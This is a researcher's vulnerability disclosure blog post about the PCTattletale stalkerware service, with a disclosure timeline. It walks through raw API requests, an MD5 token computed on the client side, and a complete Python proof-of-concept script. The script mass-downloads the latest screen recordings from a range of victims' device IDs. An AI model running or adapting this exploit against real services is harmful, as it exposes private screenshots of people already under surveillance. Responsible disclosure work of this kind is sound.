PCTattletale leaks victims’ screen recordings to entire Internet

What’s worse than stalkerware? Insecure stalkerware
hacking
Author

Eric Daigle

Published

May 22, 2024

Background

PCTattletale is a simple stalkerware app. Instead of providing the sophisticated monitoring of many similarly insecure competitors it simply asks for permission to record the targeted device (Android and Windows are supported) on infection. Afterward the observer can log in to an online portal and activate recording, at which point a screen capture is taken on the device and played on the target’s browser.

I recently discovered a serious vulnerability in PCTattletale’s API which allows any attacker to obtain the most recent screen capture recorded from any device on which PCTattletale is installed. It is distinct from the IDOR previously discovered by Jo Coscia, and makes it trivial to actually obtain captures from other devices. As usual, Zack Whittaker has excellent coverage at TechCrunch. Unfortunately, PCTattletale has ignored Zack’s and my attempts at contacting them to fix the issue, so I can’t give any more details here to avoid encouraging abuse of the vulnerability. Hopefully the stalkerware author(s) can be bothered to fix the issue soon, at which point I can give a full writeup. In the meantime, if you think you may be a victim of stalkerware, run an antivirus scan — on Windows, Windows Defender seems to catch most known tools, while on Android I’ve heard good things about Malwarebytes — and have a look at the excellent advice from the Coalition Against Stalkerware.

UPDATE 2024-05-26

Well, it’s been an eventful few days. Check out maia arson crimew’s blog for details. Given that PCTattletale’s entire AWS infrastructure has now been locked by Amazon, I can now give my original writeup.

Part 0: setup

I began by making an account on the website. This occurs in the following request-response, giving us an API key:

METHOD: POST
URL https://p200wi0b00.execute-api.us-east-2.amazonaws.com/Prod/api/pctt/member/
HEADERS
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 74
Content-Type: application/json
Host: p200wi0b00.execute-api.us-east-2.amazonaws.com
Origin: https://pctattletale.com
Referer: https://pctattletale.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0

{"Username": "blah@blah.com", "Password": "42d388f8b1db997faaf7dab487f11290"} // MD5 of the password

STATUS: 200 OK
HEADERS
Access-Control-Allow-Origin: *
Connection: keep-alive
Content-Length: 112
Content-Type: text/plain; charset=utf-8
Date: Tue, 14 May 2024 16:12:35 GMT
Strict-Transport-Security: max-age=2592000
Via: 1.1 207f5507d6d59dcf535e37d1db1f70bc.cloudfront.net (CloudFront)
x-amz-apigw-id: XxMKGGEyiYcEocA=
X-Amz-Cf-Id: L-w5nC30_R1FQhALRW93ifWgmgPLB26TE31RLRqZuZDb7iR5Ft1KGg==
X-Amz-Cf-Pop: MXP53-P2
x-amzn-RequestId: 29cbf7ba-e16b-49a4-9435-323956b0f4e2
X-Amzn-Trace-Id: Root=1-66438d73-5fec59847a24356d76502520;Parent=4f04524f333e8710;Sampled=0;lineage=95e70599:0
X-Cache: Miss from cloudfront

{"APIKey":"89df2e57-2a4b-4e39-800a-8d1cc014d63b","ResponseTime":"2024-05-14T16:12:35.597104+00:00","MemberID":0}

The API key seems to serve as our account ID.

Once the account is made, we are given a link to an APK to install on the target device. This installation proceeds as usual for a stalkerware app: we log in to the account we created and give a bunch of required permissions. After that, we can log into the dashboard in the browser and see our devices.

Part 1: screenshot idor

For each device, a thumbnail of a device screenshot is displayed. When we click on one, we see a “screen capture”: it actually turns out to be a series of screenshots displayed quickly in a slideshow, creating a sort of stop-motion video. Since I’m using the free trial, I can only see the first few seconds. These screenshots seem like something IDOR-able, so let’s take a look at the requests.

Playing the video, we can see the screenshots being retrieved in the following request-responses:

METHOD: GET
URL https://pctattletalev2.s3-accelerate.amazonaws.com/62198/20240513/android/1715604626.jpg
HEADERS Accept: image/avif,image/webp,*/*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Host: pctattletalev2.s3-accelerate.amazonaws.com
Referer: https://pctattletale.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0

STATUS: 200 OK
HEADERS
Accept-Ranges: bytes
Connection: keep-alive
Content-Length: 38661
Content-Type: image/jpeg
Date: Tue, 14 May 2024 17:11:31 GMT
ETag: "a4a22ad1c62b70489757567ff678c593"
Last-Modified: Mon, 13 May 2024 19:50:32 GMT
Server: AmazonS3
Via: 1.1 c704491f877b150c768ef14eb188ed46.cloudfront.net (CloudFront)
X-Amz-Cf-Id: O0Nsl1S5yP2BPmHtdLIZ_6cARBxZErn-xKRaON7XhQ_B8_HwBG8Wiw==
X-Amz-Cf-Pop: EWR53-C2
x-amz-id-2: 8wXPc+8xWC9/eXGwVqbDiAwP34lROWR7McJqzVVTOqrzBCtspIr+7cbp83OyuMysICXB+ubBxA0=
x-amz-request-id: JRCP4QW6QVSCB6HJ
x-amz-server-side-encryption: AES256
X-Cache: Miss from cloudfront

*the screenshot of my device*

Looking at the URL, we see it’s in the format (id of the device I added)/(date)/(timestamp).jpg. There’s no authentication happening at all here, so this is an IDOR over different device IDs! I later learned this had been independently discovered by Jo Coscia as mentioned above.

Another interesting discovery made while looking at the screenshots is that they aren’t taken every second. They are spaced out in seemingly random intervals, mostly concentrated between 1 and 10 seconds. This explains why the “video” in the browser is so choppy.

Part 2: finding the latest screenshot

If we know the address of one screenshot for a device, we can reasonably poke around neighbouring timestamps to find the rest of the capture. Unfortunately there are 86400 timestamps per day, so enumerating this across all days and all devices would take forever.

When we load the devices overview, the thumbnail we’re shown is of that device’s latest screenshot. I wonder how that’s being accessed? Let’s reload the page and look at the requests again.

We find this:

METHOD: POST
URL: https://5uw7yeva9g.execute-api.us-east-2.amazonaws.com/Prod/api/pctt/member/ffe3fc02-46d2-4275-a156-e65f2ae2ddad/62198/Live/
HEADERS
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 44
Content-Type: application/json
Host: 5uw7yeva9g.execute-api.us-east-2.amazonaws.com
Origin: https://pctattletale.com
Referer: https://pctattletale.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0

{"Token": "07c7aa47c311b2e90b0cc50b53986141"}

STATUS: 200 OK
HEADERS
Access-Control-Allow-Origin: *
Connection: keep-alive
Content-Length: 133
Content-Type: text/plain; charset=utf-8
Date: Tue, 14 May 2024 17:12:06 GMT
Strict-Transport-Security: max-age=2592000
Via: 1.1 f6acfb143216fabf7be9b3a603a486ae.cloudfront.net (CloudFront)
x-amz-apigw-id: XxU3-Fk9iYcElIQ=
X-Amz-Cf-Id: W0ypHoXaeNis5e7yjC1y619qE35BQNfRBPhp1odSFoRiBq6W6sUVjg==
X-Amz-Cf-Pop: JFK50-P7
x-amzn-RequestId: 0c173b4d-0217-4300-956e-2cf33ad4caaf
X-Amzn-Trace-Id: Root=1-66439b65-191b7f0a162b922a6d3de532;Parent=7893959ccf48044c;Sampled=0;lineage=63f6feca:0
X-Cache: Miss from cloudfront

{"lastScreenShot":"https://pctattletalev2.s3-accelerate.amazonaws.com/62198/20240513/android/1715604626.jpg","idleTime":"1715604626"}

So that’s how it gets the most recent screenshot. If we could get this for a device, we could easily get the rest of the capture! Unfortunately it seems to be protected in two ways: the URL contains the API Key (an unguessable UUID), and there’s a token.

Part 3: client-side token generation

While looking for the last request, I noticed a bunch of JavaScript being pulled in from pctattletale.com. Most names seemed pretty innocuous, but on seeing “member.area.dashboard.js” I decided to take a look and see if I could find where that token was coming from. Incredibly, I found the following code for the request to update a device’s status:

function updateDevice(device, index) {
  var deviceToken = md5(API_KEY + "" + device.DeviceID);

  //  Call Login WebService
  $.ajax({
      method: "POST",
      crossDomain: true,
      contentType: "application/json",
      dataType: "json",
      url: AWS_BASE_URL_LIVE + "api/pctt/member/" + API_KEY + "/" + device.DeviceID + "/Live/",
      data: JSON.stringify({
        Token: deviceToken
      })

    })
    .success(function(data) {

    [...]

    })
    .fail(function() {

    [...]

    });

So the token is generated on the client-side, and is just MD5 of the device ID from the URL appended to the API key from account creation. Knowing this it is trivial to generate my own token and confirm that it matches the one being used in the requests. But I still can’t get other devices’ last screenshots because the URL and token both have the wrong API key, right?

Part 4: clearly I have too much faith

Let’s give it a try. I make a token using my API key and the device ID one less than mine, and resend the above request with the corresponding url:

METHOD: POST
URL: https://5uw7yeva9g.execute-api.us-east-2.amazonaws.com/Prod/api/pctt/member/ffe3fc02-46d2-4275-a156-e65f2ae2ddad/62197/Live/
HEADERS
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 44
Content-Type: application/json
Host: 5uw7yeva9g.execute-api.us-east-2.amazonaws.com
Origin: https://pctattletale.com
Referer: https://pctattletale.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0

{"Token": "7b431465c49fc326546d565315773a17"}

This happily gives me the lastScreenshot response for device ID 62197, which I do not own. It will do so for any device ID regardless of the UUID used in the URL and token.

Part 5: putting together an exploit script

Now that we can access any screenshot from any device and know the address of the last screenshot of the most recent recording, it’s pretty easy to put together a script to leak the entirety of that recording. There’s a minor annoyance in how the screenshots are taken at an irregular interval: we can’t just subtract a certain amount of seconds. Instead we’ll use a heuristic: we’ll start with the last screenshot and subtract one second at a time, downloading from each and seeing if we get a valid photo or the error XML that comes up if no screenshot was taken at that second. If we get the error XML 20 times in a row, we’ll assume the recording is over and give up.

Together with the login and token code, this yields a simple exploit script that downloads the most recent screen capture from every device within the chosen range of IDs.

PCTattletale POC
import os
import random
import requests
import sys

from datetime import datetime
from hashlib import md5
from PIL import Image
from string import ascii_lowercase

API_KEY = ""

def get_api_key():
    random_str = "".join(random.choices(ascii_lowercase, k=5))

    url = "https://p200wi0b00.execute-api.us-east-2.amazonaws.com/Prod/api/pctt/member/"
    payload = {
        "Username": f"{random_str}@{random_str}.com",
        "Password": md5(random_str.encode()).hexdigest()
    }
    headers = {
        "host": "p200wi0b00.execute-api.us-east-2.amazonaws.com",
        "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0",
        "accept": "application/json, text/javascript, */*; q=0.01",
        "accept-language": "en-US,en;q=0.5",
        "accept-encoding": "gzip, deflate, br",
        "content-type": "application/json",
        "origin": "https://pctattletale.com",
        "connection": "keep-alive",
        "referer": "https://pctattletale.com/",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "cross-site"
    }

    response = requests.post(url, json=payload, headers=headers)

    return response.json()["APIKey"]

def get_device_update_token(device_id):
    m = API_KEY + device_id

    return md5(m.encode()).hexdigest()

def get_last_capture_for_device(device_id):
    url = f"https://5uw7yeva9g.execute-api.us-east-2.amazonaws.com/Prod/api/pctt/member/{API_KEY}/{device_id}/Live/"
    payload = { "Token": get_device_update_token(device_id) }
    headers = {
        "host": "5uw7yeva9g.execute-api.us-east-2.amazonaws.com",
        "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0",
        "accept": "application/json, text/javascript, */*; q=0.01",
        "accept-language": "en-US,en;q=0.5",
        "accept-encoding": "gzip, deflate, br",
        "content-type": "application/json",
        "referer": "https://pctattletale.com/",
        "origin": "https://pctattletale.com",
        "connection": "keep-alive",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "cross-site"
    }

    response = requests.post(url, json=payload, headers=headers)

    last_ss_url = response.json()["lastScreenShot"]
    last_ss_ts = response.json()["idleTime"]

    if last_ss_ts == "Error":
        return

    last_ss_date =  datetime.fromtimestamp(int(last_ss_ts)).strftime('%Y%m%d')

    os.mkdir(device_id)

    with open(device_id + "/" + device_id + "_" + last_ss_date + ".jpg", "wb") as f:
        f.write(requests.get(last_ss_url).content)

    i = 0
    twenty_straight_failures = False
    new_ss_ts = int(last_ss_url[-14:][:-4])
    while not twenty_straight_failures:
        new_ss_ts = new_ss_ts - 1
        new_ss_url = last_ss_url[:-14] + str(new_ss_ts) + ".jpg"

        with open(device_id + "/" + device_id + "_" + str(new_ss_ts) + ".jpg", "wb") as f:
            f.write(requests.get(new_ss_url).content)

        try:
            im = Image.open(device_id + "/" + device_id + "_" + str(new_ss_ts) + ".jpg")
            i = 0
        except IOError:
            # we downloaded the error XML instead of a valid JPG, delete it and increment failure count
            os.unlink(device_id + "/" + device_id + "_" + str(new_ss_ts) + ".jpg")
            i += 1

        if i == 20:
            twenty_straight_failures = True

API_KEY = get_api_key()

if len(sys.argv) == 1:
    for i in range(60000, 62200):
        get_last_capture_for_device(str(i))
elif len(sys.argv) > 1:
    for id in sys.argv[1:]:
        get_last_capture_for_device(str(id))

Part 6: aftermath

As described in better detail in maia’s blog linked above, someone took my original post as inspiration and was able to recover PCTattletale’s entire database, among other things. While the exploit was unrelated to mine, it was about equally trivial… another shining example of security practices from the stalkerware industry.

Timeline

  • 2024-05-12: initial analysis
  • 2024-05-13: proof of concept script written, contacted developers and Zack Whittaker at TechCrunch
  • 2024-05-17: Zack contacts developers
  • 2024-05-22: publication here and in TechCrunch, still no response from developers
  • 2024-05-26: post updated with full writeup

Support

If you’ve made it this far, consider supporting my work with a small donation on ko-fi! This site is ad-free, and social-media-free and uses open-source privacy-respecting analytics.